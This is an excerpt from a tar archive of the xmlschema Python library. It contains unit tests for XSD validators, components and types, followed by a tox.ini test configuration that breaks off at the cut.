self.assertEqual(len(XMLSchema10.meta_schema.maps.elements), 41) self.assertEqual( len([e.is_global() for e in XMLSchema10.meta_schema.maps.iter_globals()]), 158 ) self.assertEqual(self.total_components, 808) self.assertEqual(len(XMLSchema10.meta_schema.maps.substitution_groups), 0) def test_build(self): self.assertEqual(len([ e for e in self.schema_class.meta_schema.maps.iter_globals() ]), self.total_globals) self.assertTrue(self.schema_class.meta_schema.maps.built) self.schema_class.meta_schema.maps.clear() self.schema_class.meta_schema.maps.build() self.assertTrue(self.schema_class.meta_schema.maps.built) def test_components(self): total_counter = 0 global_counter = 0 for g in self.schema_class.meta_schema.maps.iter_globals(): for c in g.iter_components(): total_counter += 1 if c.is_global(): global_counter += 1 self.assertEqual(global_counter, self.total_globals) class TestXsd11GlobalsMaps(TestXsd10GlobalsMaps): schema_class = XMLSchema11 @classmethod def setUpClass(cls): super().setUpClass() @classmethod def tearDownClass(cls): super().tearDownClass() def test_totals(self): self.assertEqual(len(XMLSchema11.meta_schema.maps.notations), 2) self.assertEqual(len(XMLSchema11.meta_schema.maps.types), 103) self.assertEqual(len(XMLSchema11.meta_schema.maps.attributes), 10) self.assertEqual(len(XMLSchema11.meta_schema.maps.attribute_groups), 4) self.assertEqual(len(XMLSchema11.meta_schema.maps.groups), 13) self.assertEqual(len(XMLSchema11.meta_schema.maps.elements), 47) self.assertEqual( len([e.is_global() for e in XMLSchema11.meta_schema.maps.iter_globals()]), 179 ) self.assertEqual(self.total_globals, 179) self.assertEqual(self.total_components, 964) self.assertEqual(len(XMLSchema11.meta_schema.maps.substitution_groups), 1) def test_xsd_11_restrictions(self): all_model_type = self.schema_class.meta_schema.types['all'] self.assertTrue( all_model_type.content.is_restriction(all_model_type.base_type.content) ) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('global maps') ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_xsdbase.py����������������������������������������������������0000664�0000000�0000000�00000105635�15020401055�0022053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import copy import unittest import os import platform import re from textwrap import dedent from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema.validators import XsdValidator, XsdComponent, XMLSchema10, XMLSchema11, \ XMLSchemaParseError, XsdAnnotation, XsdGroup, XsdSimpleType, XMLSchemaNotBuiltError from xmlschema.validators.xsdbase import check_validation_mode from xmlschema.names import XSD_NAMESPACE, XSD_ELEMENT, XSD_ANNOTATION, XSD_ANY_TYPE CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') class TestXsdValidator(unittest.TestCase): def test_check_validation_mode(self): self.assertIsNone(check_validation_mode('strict')) self.assertIsNone(check_validation_mode('lax')) self.assertIsNone(check_validation_mode('skip')) self.assertRaises(ValueError, check_validation_mode, 'none') self.assertRaises(ValueError, check_validation_mode, ' strict ') self.assertRaises(TypeError, check_validation_mode, None) def test_initialization(self): validator = XsdValidator() self.assertEqual(validator.validation, 'strict') validator = XsdValidator(validation='lax') self.assertEqual(validator.validation, 'lax') self.assertListEqual(validator.errors, []) def test_string_representation(self): validator = XsdValidator() tmpl = '<xmlschema.validators.xsdbase.XsdValidator object at {}>' string_repr = str(validator) if platform.python_implementation() == 'PyPy' or platform.system() == 'Windows': string_repr = re.sub(r'0x[0]+', '0x', string_repr, count=1) self.assertEqual(string_repr.lower(), tmpl.format(hex(id(validator))).lower()) def test_check_validator(self): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') schema = XMLSchema10(xsd_file, build=False) self.assertIsNone(schema.check_validator()) self.assertEqual(schema.validity, 'notKnown') self.assertEqual(schema.validation_attempted, 'none') with self.assertRaises(XMLSchemaNotBuiltError): schema.check_validator('strict') with self.assertRaises(XMLSchemaNotBuiltError): schema.check_validator('lax') self.assertIsNone(schema.check_validator('skip')) schema.build() self.assertEqual(schema.validity, 'valid') self.assertEqual(schema.validation_attempted, 'full') self.assertIsNone(schema.check_validator()) self.assertIsNone(schema.check_validator('strict')) xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/invalid.xsd') schema = XMLSchema10(xsd_file, validation='lax') with self.assertRaises(XMLSchemaNotBuiltError): schema.check_validator('strict') self.assertIsNone(schema.check_validator('lax')) self.assertIsNone(schema.check_validator('skip')) def test_parse_error(self): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') schema = XMLSchema10(xsd_file) with self.assertRaises(TypeError): schema.parse_error("test error", elem=(1, 2)) with self.assertRaises(TypeError): schema.parse_error(b"test error") with self.assertRaises(XMLSchemaParseError): schema.parse_error("test error") self.assertEqual(len(schema.errors), 0) schema.parse_error("test error", validation='skip') self.assertEqual(len(schema.errors), 0) schema.parse_error("test error", validation='lax') self.assertEqual(len(schema.errors), 1) schema.parse_error(XMLSchemaParseError(schema, "test error"), validation='lax') self.assertEqual(len(schema.errors), 2) schema.parse_error(ValueError("wrong value"), validation='lax') self.assertEqual(len(schema.errors), 3) schema.parse_error(ValueError("'invalid value'"), validation='lax') self.assertEqual(len(schema.errors), 4) self.assertEqual(schema.errors[-1].message, "invalid value") validator = XsdValidator() error = XMLSchemaParseError(validator, 'validator error') elem = ElementTree.Element('foo') namespaces = {'xs': XSD_NAMESPACE} with self.assertRaises(XMLSchemaParseError): validator.parse_error(error, elem, namespaces=namespaces) self.assertIs(error.elem, elem) self.assertIs(error.namespaces, namespaces) validator.validation = 'lax' elem = ElementTree.Element('foo') namespaces = {'xs': XSD_NAMESPACE} with self.assertLogs('xmlschema', level='DEBUG'): validator.parse_error(error, elem, namespaces=namespaces) self.assertIsNot(error.elem, elem) self.assertIsNot(error.namespaces, namespaces) def test_copy(self): validator = XsdValidator(validation='lax') validator.parse_error(ValueError("test error")) self.assertEqual(len(validator.errors), 1) self.assertListEqual(copy.copy(validator).errors, validator.errors) def test_valid_schema(self): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') schema = XMLSchema10(xsd_file, build=False) self.assertEqual(schema.validity, 'notKnown') self.assertEqual(len(schema.all_errors), 0) schema.build() self.assertEqual(schema.validity, 'valid') self.assertEqual(len(schema.all_errors), 0) def test_invalid_schema(self): xsd_text = """<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" minOccurs="0"/> </xs:schema>""" with self.assertRaises(XMLSchemaParseError): XMLSchema10(xsd_text) schema = XMLSchema10(xsd_text, validation='lax') self.assertEqual(schema.validity, 'invalid') self.assertEqual(len(schema.all_errors), 2) # One by meta-schema check schema = XMLSchema10(xsd_text, validation='skip') self.assertEqual(schema.validity, 'notKnown') self.assertEqual(len(schema.all_errors), 0) def test_parse_xpath_default_namespace(self): xsd_text = """<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""" schema = XMLSchema11(xsd_text) elem = ElementTree.Element('A') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') elem = ElementTree.Element('A', xpathDefaultNamespace='##local') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') elem = ElementTree.Element('A', xpathDefaultNamespace='##defaultNamespace') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') elem = ElementTree.Element('A', xpathDefaultNamespace='##targetNamespace') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') xsd_text = """<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="tns0" targetNamespace="tns0"> <xs:element name="root"/> </xs:schema>""" schema = XMLSchema11(xsd_text, validation='lax') elem = ElementTree.Element('A') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') elem = ElementTree.Element('A', xpathDefaultNamespace='##local') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') elem = ElementTree.Element('A', xpathDefaultNamespace='##defaultNamespace') self.assertEqual(schema._parse_xpath_default_namespace(elem), 'tns0') elem = ElementTree.Element('A', xpathDefaultNamespace='##targetNamespace') self.assertEqual(schema._parse_xpath_default_namespace(elem), 'tns0') elem = ElementTree.Element('A', xpathDefaultNamespace='tns1') self.assertEqual(schema._parse_xpath_default_namespace(elem), 'tns1') elem = ElementTree.Element('A', xpathDefaultNamespace='tns0 tns1') self.assertEqual(schema._parse_xpath_default_namespace(elem), '') self.assertIn('tns0 tns1', schema.errors[-1].message) class TestXsdComponent(unittest.TestCase): class FakeElement(XsdComponent): @property def built(self): return super().built _ADMITTED_TAGS = (XSD_ELEMENT,) @classmethod def setUpClass(cls): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') cls.schema = XMLSchema10(xsd_file) def test_initialization(self): with self.assertRaises(AttributeError): XsdComponent(elem=None, schema=self.schema) with self.assertRaises(ValueError): XsdComponent(elem=ElementTree.Element('A'), schema=self.schema) def test_errors(self): schema = XMLSchema10(dedent("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:string"> <xs:simpleType> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:element> </xs:schema>"""), validation='lax') xsd_element = schema.elements['root'] self.assertEqual(len(schema.all_errors), 1) self.assertEqual(len(xsd_element.errors), 1) xsd_element.elem.attrib.pop('type') xsd_element.parse(xsd_element.elem) self.assertEqual(len(schema.all_errors), 0) self.assertEqual(len(xsd_element.errors), 0) def test_meta_tag(self): self.assertEqual(self.FakeElement.meta_tag(), XSD_ELEMENT) with self.assertRaises(NotImplementedError): XsdComponent.meta_tag() def test_is_override(self): self.assertFalse(self.schema.elements['cars'].is_override()) self.assertFalse(self.schema.elements['cars'].type.content[0].is_override()) def test_representation(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="node"> <xs:complexType> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute ref="slot"/> </xs:extension> </xs:simpleContent> </xs:complexType> </xs:element> <xs:attribute name="slot" type="xs:string"/> </xs:schema>""") self.assertEqual(repr(schema.elements['node']), "XsdElement(name='node', occurs=[1, 1])") self.assertEqual(repr(schema.attributes['slot']), "XsdAttribute(name='slot')") self.assertEqual(repr(schema.elements['node'].type.attributes['slot']), "XsdAttribute(ref='slot')") def test_parse_reference(self): group = self.schema.elements['vehicles'].type.content name = '{%s}motorbikes' % XSD_NAMESPACE elem = ElementTree.Element(XSD_ELEMENT, name=name) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) self.assertIsNone(xsd_element._parse_reference()) elem = ElementTree.Element(XSD_ELEMENT, name=name, ref=name) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() elem = ElementTree.Element(XSD_ELEMENT, ref=name) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) xsd_element._parse_reference() elem = ElementTree.Element(XSD_ELEMENT, ref='tns0:motorbikes') xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() elem = ElementTree.Element(XSD_ELEMENT, ref=name) elem.append(ElementTree.Element('child')) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() elem = ElementTree.Element(XSD_ELEMENT) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_reference() def test_parse_child_component(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name) elem.append(ElementTree.Element(XSD_ANNOTATION)) elem.append(ElementTree.Element('child1')) elem.append(ElementTree.Element('child2')) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) self.assertEqual(xsd_element._parse_child_component(elem, strict=False), elem[1]) with self.assertRaises(XMLSchemaParseError): xsd_element._parse_child_component(elem) self.assertEqual(len(xsd_element.errors), 0) xsd_element.validation = 'lax' xsd_element._parse_child_component(elem) self.assertEqual(len(xsd_element.errors), 1) def test_parse_target_namespace(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name, targetNamespace='tns0') group = self.schema.elements['vehicles'].type.content xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_target_namespace() self.assertIn("must have the same namespace", ctx.exception.message) xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) self.assertIsNone(xsd_element._parse_target_namespace()) self.assertEqual(xsd_element.name, '{tns0}motorbikes') elem = ElementTree.Element(XSD_ELEMENT, targetNamespace='tns0') xsd_element = self.FakeElement(elem=elem, name=None, schema=self.schema, parent=group) with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_target_namespace() self.assertIn("attribute 'name' must be present", ctx.exception.message) elem = ElementTree.Element(XSD_ELEMENT, name=name, form='qualified', targetNamespace='tns0') xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=group) with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_target_namespace() self.assertIn("attribute 'form' must be absent", ctx.exception.message) elem = ElementTree.Element( XSD_ELEMENT, name='motobikes', targetNamespace=self.schema.target_namespace ) xsd_element = self.FakeElement(elem, self.schema, parent=group, name=name) self.assertIsNone(xsd_element._parse_target_namespace()) self.assertEqual(xsd_element.name, name) xsd_attribute = self.schema.types['vehicleType'].attributes['model'] xsd_attribute.elem.attrib['targetNamespace'] = 'tns0' with self.assertRaises(XMLSchemaParseError) as ctx: xsd_attribute._parse_target_namespace() self.assertIn("a declaration contained in a global complexType must " "have the same namespace", ctx.exception.message) del xsd_attribute.elem.attrib['targetNamespace'] with self.assertRaises(XMLSchemaParseError) as ctx: XMLSchema11("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" targetNamespace=""/> </xs:schema>""") self.assertIn("use of attribute 'targetNamespace' is prohibited", ctx.exception.message) schema = XMLSchema11("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="type0"> <xs:sequence> <xs:any namespace="http://xmlschema.test/ns"/> </xs:sequence> </xs:complexType> <xs:complexType name="type1"> <xs:complexContent> <xs:restriction base="type0"> <xs:sequence> <xs:element name="elem1" targetNamespace="http://xmlschema.test/ns" type="xs:integer"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="root" type="type1"/> </xs:schema>""") self.assertEqual(schema.elements['root'].type.content[0].target_namespace, 'http://xmlschema.test/ns') schema = XMLSchema11("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="node" targetNamespace=""/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") self.assertEqual(schema.elements['root'].type.content[0].name, 'node') def test_xmlns_namespace_forbidden(self): source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="node" targetNamespace="http://www.w3.org/2000/xmlns/"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") with self.assertRaises(ValueError) as ctx: XMLSchema11(source) self.assertIn('http://www.w3.org/2000/xmlns/', str(ctx.exception)) def test_id_property(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name, id='1999') xsd_element = self.FakeElement(elem=elem, name=name, schema=self.schema, parent=None) self.assertEqual(xsd_element.id, '1999') def test_validation_attempted(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation name="content" public="text/html"/> <xs:element name="root"/> </xs:schema>""") self.assertEqual(schema.notations['content'].validation_attempted, 'full') def test_name_matching(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name) xsd_element = self.FakeElement(elem, self.schema, parent=None, name=name) self.assertFalse(xsd_element.is_matching('motorbikes')) self.assertFalse(xsd_element.is_matching('')) self.assertTrue( xsd_element.is_matching('motorbikes', default_namespace=self.schema.target_namespace) ) self.assertFalse(xsd_element.is_matching('{%s}bikes' % self.schema.target_namespace)) self.assertTrue(xsd_element.is_matching(name)) self.assertIs(xsd_element.match(name), xsd_element) def test_get_matching_item(self): xsd_element = self.schema.elements['vehicles'] self.assertIsNone(xsd_element.get_matching_item({})) self.assertTrue(xsd_element.get_matching_item({xsd_element.qualified_name: True})) self.assertTrue(xsd_element.get_matching_item({xsd_element.prefixed_name: True})) mapping = {xsd_element.local_name: True} self.assertIsNone(xsd_element.get_matching_item(mapping)) self.assertTrue(xsd_element.get_matching_item(mapping, match_local_name=True)) mapping = {xsd_element.type.local_name: True} # type.name is None self.assertIsNone(xsd_element.type.get_matching_item(mapping, match_local_name=True)) mapping = {'vhs:vehicles': True} self.assertIsNone(xsd_element.get_matching_item(mapping)) self.schema.namespaces['vhs'] = self.schema.target_namespace try: self.assertTrue(xsd_element.get_matching_item(mapping)) finally: self.schema.namespaces.pop('vhs') mapping = {'vhs:vehicles': {'xmlns:vhs': self.schema.target_namespace}} self.assertIs(xsd_element.get_matching_item(mapping), mapping['vhs:vehicles']) mapping = {'vhs:vehicles': {'xmlns:vhs': 'http://xmlschema.test/ns'}} self.assertIsNone(xsd_element.get_matching_item(mapping)) schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""")) xsd_element = schema.elements['root'] self.assertTrue(xsd_element.get_matching_item({'root': True})) self.assertIsNone(xsd_element.get_matching_item({'rook': True})) def test_get_global(self): xsd_element = self.schema.elements['vehicles'] self.assertIs(xsd_element.get_global(), xsd_element) xsd_type = self.schema.types['vehicleType'] self.assertIs(xsd_type.attributes['model'].get_global(), xsd_type) def test_get_parent_type(self): xsd_type = self.schema.types['vehicleType'] self.assertIs(xsd_type.attributes['model'].get_parent_type(), xsd_type) self.assertIsNone(xsd_type.get_parent_type()) def test_iter_components(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name) xsd_element = self.FakeElement(elem, self.schema, parent=None, name=name) self.assertListEqual(list(xsd_element.iter_components()), [xsd_element]) self.assertListEqual(list(xsd_element.iter_components(str)), []) def test_iter_ancestors(self): xsd_element = self.schema.elements['cars'].type.content[0] ancestors = [e for e in xsd_element.iter_ancestors()] self.assertListEqual(ancestors, [ self.schema.elements['cars'].type.content, self.schema.elements['cars'].type, self.schema.elements['cars'], ]) self.assertListEqual(list(xsd_element.iter_ancestors(str)), []) def test_tostring(self): cars_dump = str(self.schema.elements['cars'].tostring()) self.assertEqual(len(cars_dump.split('\n')), 7) self.assertIn('name="car" type="vh:vehicleType"', cars_dump) self.assertIsInstance(ElementTree.XML(cars_dump), ElementTree.Element) def test_annotations(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:annotation/> </xs:element> </xs:schema>""") self.assertTrue(schema.elements['root'].annotation.built) schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:simpleType> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:element> </xs:schema>""") self.assertIsNone(schema.elements['root'].annotation) if lxml_etree is not None: root = lxml_etree.XML("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <!-- comment --> <xs:annotation/> </xs:element> </xs:schema>""") schema = XMLSchema10(root) self.assertTrue(schema.elements['root'].annotation.built) schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:annotation> <xs:appinfo/> <xs:documentation/> </xs:annotation> </xs:element> </xs:schema>""") self.assertEqual(len(schema.all_errors), 0) self.assertEqual(len(schema.annotations), 0) annotations = schema.elements['root'].annotations self.assertEqual(len(annotations), 1) self.assertIs(annotations[0], schema.elements['root'].annotation) # XSD annotation errors found with meta-schema validation schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:annotation> <xs:documentation wrong="abc" source=""/> <xs:appinfo wrong="10" source=""/> <xs:element name="wrong"/> </xs:annotation> </xs:element> </xs:schema>""", validation='lax') self.assertEqual(len(schema.all_errors), 3) # Lazy XSD annotation build (errors not counted in schema.all_errors) xsd_element = schema.elements['root'] self.assertNotIn('annotation', xsd_element.__dict__) annotation = xsd_element.annotation self.assertIsInstance(annotation, XsdAnnotation) self.assertIn('annotation', xsd_element.__dict__) self.assertEqual(len(schema.all_errors), 3) self.assertEqual(len(annotation.errors), 0) # see issue 287 self.assertIsNone(annotation.annotation) def test_attribute_group_annotation__issue_366(self): schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:attributeGroup name="attrGroup"> <xs:annotation> <xs:documentation> A global attribute group </xs:documentation> </xs:annotation> <xs:attribute name="attr1"/> <xs:attribute name="attr2"/> </xs:attributeGroup> <xs:complexType name="rootType" mixed="true"> <xs:annotation> <xs:documentation> A global complex type </xs:documentation> </xs:annotation> <xs:sequence> <xs:any minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:attributeGroup ref="attrGroup"/> </xs:complexType> <xs:element name="root" type="rootType"> <xs:annotation> <xs:documentation> The root element </xs:documentation> </xs:annotation> </xs:element> </xs:schema>""")) attribute_group = schema.attribute_groups['attrGroup'] self.assertIn('A global attribute group', str(attribute_group.annotation)) xsd_type = schema.types['rootType'] self.assertIn('A global complex type', str(xsd_type.annotation)) self.assertIsNone(xsd_type.attributes.annotation) xsd_element = schema.elements['root'] self.assertIn('The root element', str(xsd_element.annotation)) self.assertIsNone(xsd_element.attributes.annotation) def test_dump_status(self): schema = XMLSchema10("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""") with self.assertLogs('xmlschema', 'WARNING') as cm: schema.elements['root'].dump_status('foo') self.assertIn("dump data", cm.output[0]) self.assertIn("XMLResource(root=", cm.output[0]) self.assertIn("'foo'", cm.output[0]) class TestXsdType(unittest.TestCase): @classmethod def setUpClass(cls): cls.schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="emptyType"> <xs:restriction base="xs:string"> <xs:length value="0"/> </xs:restriction> </xs:simpleType> <xs:complexType name="emptyType2"> <xs:attribute name="foo" type="xs:string"/> </xs:complexType> <xs:simpleType name="idType"> <xs:restriction base="xs:ID"/> </xs:simpleType> <xs:simpleType name="decimalType"> <xs:restriction base="xs:decimal"/> </xs:simpleType> <xs:simpleType name="dateTimeType"> <xs:restriction base="xs:dateTime"/> </xs:simpleType> <xs:simpleType name="fooType"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="fooListType"> <xs:list itemType="xs:string"/> </xs:simpleType> <xs:simpleType name="fooUnionType"> <xs:union memberTypes="xs:string xs:anyURI"/> </xs:simpleType> <xs:complexType name="barType"> <xs:sequence> <xs:element name="node"/> </xs:sequence> </xs:complexType> <xs:complexType name="barExtType"> <xs:complexContent> <xs:extension base="barType"> <xs:sequence> <xs:element name="node"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="barResType"> <xs:complexContent> <xs:restriction base="barType"> <xs:sequence> <xs:element name="node"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="mixedType" mixed="true"> <xs:sequence> <xs:element name="node" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:element name="fooElem" type="fooType"/> <xs:element name="barElem" type="barType" block="extension"/> </xs:schema>""")) def test_content_type_label(self): self.assertEqual(self.schema.types['emptyType'].content_type_label, 'empty') self.assertEqual(self.schema.types['emptyType2'].content_type_label, 'empty') self.assertEqual(self.schema.types['fooType'].content_type_label, 'simple') self.assertEqual(self.schema.types['barType'].content_type_label, 'element-only') self.assertEqual(self.schema.types['mixedType'].content_type_label, 'mixed') def test_simple_type_property(self): self.assertIsInstance(self.schema.types['emptyType'].simple_type, XsdSimpleType) self.assertIsNone(self.schema.types['emptyType2'].simple_type) def test_model_group_property(self): self.assertIsNone(self.schema.types['emptyType'].model_group) self.assertIsInstance(self.schema.types['emptyType2'].model_group, XsdGroup) def test_root_type(self): self.assertIs(self.schema.types['fooType'].root_type, self.schema.meta_schema.types['string']) self.assertIs(self.schema.types['fooListType'].root_type, self.schema.meta_schema.types['string']) self.assertIs(self.schema.types['mixedType'].root_type, self.schema.maps.types[XSD_ANY_TYPE]) self.assertIs(self.schema.types['barExtType'].root_type, self.schema.maps.types[XSD_ANY_TYPE]) # xs:anyType used by the schema is equivalent but is not the same object of # the meta schema because it can be used as base for schema's complex types self.assertIs(self.schema.types['emptyType2'].root_type, self.schema.maps.types[XSD_ANY_TYPE]) def test_is_atomic(self): self.assertFalse(self.schema.types['barType'].is_atomic()) def test_is_primitive(self): self.assertFalse(self.schema.types['barType'].is_primitive()) def test_is_list(self): self.assertFalse(self.schema.types['barType'].is_list()) self.assertTrue(self.schema.types['fooListType'].is_list()) self.assertFalse(self.schema.types['fooUnionType'].is_list()) def test_is_union(self): self.assertFalse(self.schema.types['barType'].is_union()) self.assertFalse(self.schema.types['fooListType'].is_union()) self.assertTrue(self.schema.types['fooUnionType'].is_union()) def test_is_datetime(self): self.assertFalse(self.schema.types['barType'].is_datetime()) self.assertTrue(self.schema.types['dateTimeType'].is_datetime()) def test_is_decimal(self): self.assertFalse(self.schema.types['barType'].is_decimal()) self.assertTrue(self.schema.types['decimalType'].is_decimal()) def test_is_dynamic_consistent(self): self.assertFalse(self.schema.types['fooType'].is_dynamic_consistent( self.schema.types['fooListType'] )) self.assertTrue(self.schema.types['fooType'].is_dynamic_consistent( self.schema.types['fooType'] )) def test_is_key(self): self.assertFalse(self.schema.types['fooType'].is_key()) self.assertTrue(self.schema.types['idType'].is_key()) def test_is_extension(self): self.assertFalse(self.schema.types['fooType'].is_extension()) self.assertTrue(self.schema.types['barExtType'].is_extension()) def test_is_restriction(self): self.assertTrue(self.schema.types['fooType'].is_restriction()) self.assertFalse(self.schema.types['barExtType'].is_restriction()) def test_is_blocked(self): element = self.schema.elements['fooElem'] self.assertFalse(self.schema.types['fooType'].is_blocked(element)) self.assertFalse(self.schema.types['barExtType'].is_blocked(element)) self.assertFalse(self.schema.types['barResType'].is_blocked(element)) element = self.schema.elements['barElem'] self.assertFalse(self.schema.types['fooType'].is_blocked(element)) self.assertTrue(self.schema.types['barExtType'].is_blocked(element)) self.assertFalse(self.schema.types['barResType'].is_blocked(element)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD base classes') ���������������������������������������������������������������������������������������������������xmlschema-4.1.0/tox.ini�����������������������������������������������������������������������������0000664�0000000�0000000�00000005046�15020401055�0015005�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������[tox] min_version = 4.0 envlist = flake8, py{39,310,311,312,313,314,314-lxml, py3}, ep{48,50}, memory, docs, mypy-py{39,310,311,312,313,314,py3}, coverage, pytest, w3c-xsdtests skip_missing_interpreters = true work_dir = {tox_root}/../.tox/xmlschema [testenv] deps = elementpath>=5.0.1, <6.0.0 lxml jinja2 memory: psutil docs: Sphinx docs: sphinx_rtd_theme coverage: coverage commands = python -m unittest [testenv:py314] deps = elementpath>=5.0.1, <6.0.0 jinja2 commands = python -m unittest [testenv:py314-lxml] deps = elementpath>=5.0.1, <6.0.0 lxml jinja2 commands = python -m unittest ignore_outcome = True [testenv:ep48,ep50] deps = lxml jinja2 ep48: elementpath~=4.8 ep50: elementpath~=5.0.1 [testenv:memory] commands = python tests/run_memory_tests.py [testenv:docs] commands = make -C doc clean make -C doc html SPHINXOPTS="-W -n" make -C doc latexpdf SPHINXOPTS="-W -n" make -C doc doctest SPHINXOPTS="-W -n" sphinx-build -W -n -T -b man doc build/sphinx/man allowlist_externals = make [flake8] max-line-length = 100 [testenv:flake8] deps = flake8 commands = flake8 xmlschema flake8 tests flake8 scripts flake8 profiling [testenv:mypy-py{39,310,311,312,313,314,py3}] deps = mypy==1.15.0 elementpath==5.0.1 lxml-stubs jinja2 commands = mypy --config-file {toxinidir}/pyproject.toml xmlschema python tests/run_typing_tests.py [testenv:coverage] commands = coverage erase coverage run -a -m unittest coverage report -m [testenv:pytest] deps = pytest pytest-randomly elementpath>=5.0.1, <6.0.0 lxml jinja2 mypy==1.15.0 lxml-stubs commands = pytest tests -ra [testenv:w3c-xsdtests] description = Run W3C XSD 1.0/1.1 tests platform = (linux|darwin) set_env = COMMIT = 4293d6fb026af778aa7ad381c2a310354578cbe3 CHECKSUM = 3c7a44dbb59553d09ba96fee898255be78966960c22e9a7886c0b426a03255d7 change_dir = {env_tmp_dir} deps = lxml commands = 